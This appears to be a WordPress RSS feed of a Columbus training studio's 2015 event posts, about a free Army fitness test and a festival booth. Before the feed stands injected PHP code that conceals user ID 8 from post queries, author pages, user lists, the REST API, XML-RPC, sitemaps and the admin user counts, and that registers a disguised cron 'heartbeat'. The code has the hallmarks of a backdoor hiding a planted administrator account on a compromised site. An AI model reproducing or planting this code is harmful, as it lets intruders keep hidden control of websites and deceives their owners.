add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 8;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 8 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 8;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 8;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 8;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 8;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
event Archives - Chiseled - Training Studio
https://chiseledgym.com/tag/event/
Private Personal Training Studio in the Short NorthWed, 07 Oct 2015 01:15:53 +0000en-US
hourly
1 https://wordpress.org/?v=7.1FREE Army Physical Fitness Test – Hosted by Chiseled Gym 10/10/15
https://chiseledgym.com/2015/10/free-army-physical-fitness-test-hosted-by-chiseled-gym-101015/
Wed, 07 Oct 2015 01:15:53 +0000https://chiseledgym.com/?p=482For years, we at Chiseled Gym have been hosting free APFT (Army Physical Fitness Tests) for the local Columbus, Short North, Italian Village, and Downtown community. Why? Our owner, Juan Vicente, is a veteran of the Ohio Army National Guard and wants to continue the time honored tradition the same way he was trained as a soldier! What is the APFT? We take your body fat, test your pushup, situp and cardio limits, all using the same standards and protocols for the U.S. Army’s Physical Fitness Test. Our gym feels this is a great way to give back to the local Short North and columbus community; sharing our personal passion for staying in shape. “I got the idea because in the Army it is used to qualify servicemen for duty. I believe that this standard of excellence is a great asset to Chiseled Gym – Columbus to keep our clients accountable and on their paths to getting Chiseled!” Time: Saturday October 10th, 8:00am Place: Meet in front of Chiseled Gym 37 E 5th Ave, Columbus OH 43201 What to Wear: Weather appropriate active wear APFT Test Itinerary: -Two Minute Sit-up -Two Minute Push-up -Two Mile Run All contests are held under strict military standards and scored according to age graded scoring system. Questions: Call 614-537-8245 or e-mail chiseledtrainer@gmail.com
]]>
Columbus Independents Day Festival Recap
https://chiseledgym.com/2015/10/columbus-independents-day-festival-recap/
Mon, 05 Oct 2015 20:22:06 +0000https://chiseledgym.com/?p=475Oversized dumbbells, 200+ Ancient Stone lifting, and the ultimate local Columbus music experience were all combined at this year’s 2015 Independents Day Festival! Chiseled Gym was proud to donate our time and energy to help support this great Columbus event, hosted in the vibrant East Franklinton neighborhood. We brought in some unique fitness challenges, gave away some quick personal training tips, and we even found the strongest man at Independents Day! Owen, a Columbus local, was able to conquer our 220 pound Ancient Stone lift challenge! Looks like he doesn’t need our personal training after all… The Independents Day Festival embraces Columbus’ creative spirit, the perfect setting for us at Chiseled Gym Personal Training Studio to showcase our local pride. Specifically built for this event, the Chiseled staff created a monster five foot tall dumbbell for the local Columbus crowd to selfie with! Our Personal Training Studio will be partnering up with more local Columbus events over the next few months, so keep an eye out for our massive dumbbell and the new Chiseled logo! See you at the gym! Be sure to follow us on Instagram @Chiseled_Gym and like us on Facebook /ChiseledGymColumbus for more pictures from our local Columbus events!
]]>Columbus Independents Day Festival – Volunteers Needed!
https://chiseledgym.com/2015/09/columbus-independents-day-festival/
Thu, 10 Sep 2015 01:23:49 +0000https://chiseledgym.com/?p=464On Saturday & Sunday September 19-20, Chiseled Gym will be hosting a booth at the annual Columbus Independents’ Day Festival! We need volunteers for the booth to give whatever time possible, more is better. Chiseled Gym will be having a series of fitness stations. Volunteers will be providing basic directions and overseeing participants at each station. Booth hours are 11am – 7pm both Saturday and Sunday. We will need help setting up & tearing down Saturday & Sunday. Event Information: http://thisisindependent.com/ If you’re interested in giving us a hand, call Juan (614) 537-8245 or Jose (419) 340-7782 with any questions. Communication is key. This event is going to be a lot of fun! To show our appreciation, volunteers will receive a very special 10 year anniversary tshirt from chiseled gym. Event description for challengers/participants: MOBILITY & FITNESS CHALLENGE Having fun learning while getting fit is what Chiseled is all about. Test your mettle with any of the fantastic fitness events, combine your mobility and strength, win t-shirts and prizes, and speak to expert staff at this good ol’ fashioned East Franklinton Fesival throw down! So come play at your own leisure between 11am-7pm Saturday and Sunday! Please RSVP by phone or to juan@chiseledgym.com with “volunteer” or “participant”. Thank you! Sincerely, Team Chiseled